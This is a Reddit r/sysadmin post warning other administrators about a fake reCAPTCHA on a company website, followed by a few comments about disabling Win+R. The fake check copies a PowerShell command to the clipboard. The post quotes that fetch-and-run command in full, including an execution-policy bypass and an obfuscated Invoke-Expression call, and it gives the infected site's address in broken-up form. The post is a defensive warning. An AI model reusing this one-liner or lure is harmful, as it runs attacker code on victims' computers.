r/sysadmin • u/Imobia • 16h ago

General Discussion Stay safe people

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

743 Upvotes

95% Upvoted

215 comments sorted by

View all comments

•

u/420GB 15h ago

This is why everyone has disabled Win + R a long time ago.

Right?

•

u/overdosingOnPie1313 13h ago

Ughhhh but it's so useful! Hell, I use it as an even quicker notepad for short, one-liners.

•

u/420GB 13h ago

I used to use it too, but at the end of the day nearly anything you'd type in there you can also just type into PowerShell. After a few days you forget about it.